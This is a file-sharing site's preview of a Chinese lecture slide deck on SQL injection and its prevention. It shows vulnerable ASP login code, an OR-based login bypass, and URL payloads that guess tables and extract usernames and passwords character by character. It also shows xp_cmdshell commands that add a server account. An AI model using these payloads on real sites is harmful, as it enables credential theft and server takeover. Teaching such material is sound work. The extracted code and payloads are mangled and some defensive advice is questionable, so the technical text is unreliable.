SQL注入的原理及防范.ppt_第1页
SQL注入的原理及防范.ppt_第2页
SQL注入的原理及防范.ppt_第3页
SQL注入的原理及防范.ppt_第4页
SQL注入的原理及防范.ppt_第5页
免费预览已结束,剩余16页可下载查看

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

SQL注入的原理及防范,梁兴建,一、SQL注入简介,程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQLInjection,即SQL注入。,一、SQL注入简介,SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。这种攻击的要诀在于将SQL的查询/行为命令通过嵌入的方式放入合法的HTTP提交请求中从而达到攻击者的某种意图。现在很多的动态网页都会从该网页使用者的请求中得到某些参数,然后动态的构成SQL请求发给数据库的。,一、SQL注入简介,举个例子,当有某个用户需要通过网页上的用户登陆(用户身份验证)时,动态网页会将该用户提交上来的用户名与密码加进SQL询问请求发给数据库,用于确认该用户提交的身份验证信息是否有效。在SQL注入攻击的角度看来,这样可以使我们在发送SQL请求时通过修改用户名与/或密码值的领域区来达到攻击的目的。,一、SQL注入简介,但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。必须根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据。,二、登录验证不足,找到登陆页面,在其登陆ID与密码输入处测试这些缺陷是否存在,首先加入某些特殊的字符标记,输入如:、and之类的SQL标记。如果没有进行检测,而直接运行SQL语句,说明有机会进行注入。,二、登录验证不足,当确认有机会进行注入的时候,可以在输入框中加入or语句,这样可能会有意外的收获。Adminor32or,这就是我们需要在文本框中输入的内容,这样能达到什么效果呢?下面,通过一个网页来测试:,二、登录验证不足,先来看login.asp文件以下内容为程序代码:用户名密码,二、登录验证不足,再来看loging.asp文件以下内容为程序代码:dimrs,sqldimname,pwduname=request.form(name)upwd=request.form(pwd)ifuname=orupwd=thenresponse.redirectlogin.aspendif关于身份验证sql=select*fromuserwhereuname=为空,二、登录验证不足,防范方法(2)过滤loging.asp文件本身验证的逻辑就是错误的,应该修改为:sql=select*fromuserwherename=&name&rs.opensql,conn_data,1,1身份验证过程ifnotrs.eofthenifpwd=rs(pwd)thensession(login)=okresponse.redirect/default.aspelseresponse.redirectlogin.asp,二、登录验证不足,防范方法(3)用不同的用户帐户执行查询、插入、更新、删除操作。(4)通过数据库设置特定的存储过程,只允许特定的存储过程执行,所有的用户输入必须遵从被调用的存储过程的安全上下文,(5)限制表单或查询字符串输入的长度。大大增加攻击者在SQL命令中插入有害代码的难度。(6)检查提取数据的查询所返回的记录数量(=1)。(7)将超级管理员帐号置于第2条记录之后!,三、从网页传递参数中注入,这是SQL注入中最常见的方法,并且根据该注入原理有很多SQL注入工具产生。同样,首先,应测试这些缺陷是否存在,首先加入某些特殊的字符标记,输入如:、and之类的SQL标记。如果没有进行检测,而直接运行SQL语句,说明有机会进行注入。,三、从网页传递参数中注入,从参数中注入,准确的测试方法应该是:正常显示,内容基本与相同提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了onerrorresumenext),不可以注入就比较容易判断了,同样正常显示,和一般都会有程序定义的错误提示,或提示类型转换时出错。,三、从网页传递参数中注入,(1)猜表名:http:/www.*.com/show.asp?id=50and0(selectcount(*)fromtablename),这里的tablename就是你猜测的表名。如果页面显示正常,则你猜测的表名是正确的。(2)猜字段名:http:/www.*.com/show.asp?id=50and0(selectcount(fieldname)fromtablename),这里的fieldname是表中某一字段名,如果页面显示正常,可以断定字段名称正确。,三、从网页传递参数中注入,(3)在获得tablename和fieldname以后,就可以更进一步了。比如是登陆系统,tablename是user,fieldname是id,name和pwd,看看能做些什么:a、http:/www.*.com/show.asp?id=50and0(selectcount(*)fromuserwhereid1000)粗略判断用户数量,三、从网页传递参数中注入,b、http:/www.*.com/show.asp?id=50and1=(selectcount(*)fromuserwhereid=1andlen(name)=10)判断id为1的用户的用户名长度是否为10c、http:/www.*.com/show.asp?id=50and1=(selectcount(*)fromuserwhereid=1andmid(name,n,1)=a)判断id为1的用户的用户名的第n位是否为a,三、从网页传递参数中注入,d、http:/www.*.com/show.asp?id=50and1=(selectcount(*)fromuserwhereid=1andlen(pwd)=10)判断id为1的用户的密码长度是否为10e、http:/www.*.com/show.asp?id=50and1=(selectcount(*)fromuserwhereid=1andmid(pwd,n,1)=a)判断id为1的用户的密码的第n位是否为a,这样用户的登录信息将全部得到,如果你的密码没有加密,整个网站将毁于一旦!,三、从网页传递参数中注入,另外,如果是SQLServer,我们可以通sysobjects的操作,获取sa的密码,一旦得到sa的权限,就可以执行xp_cmdshell了,那么相当于可以轻易的取得操作服务器的权限。如execmaster.xp_cmdshell“netusernamepasseord/add”execmaster.xp_cmdshell“ne

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论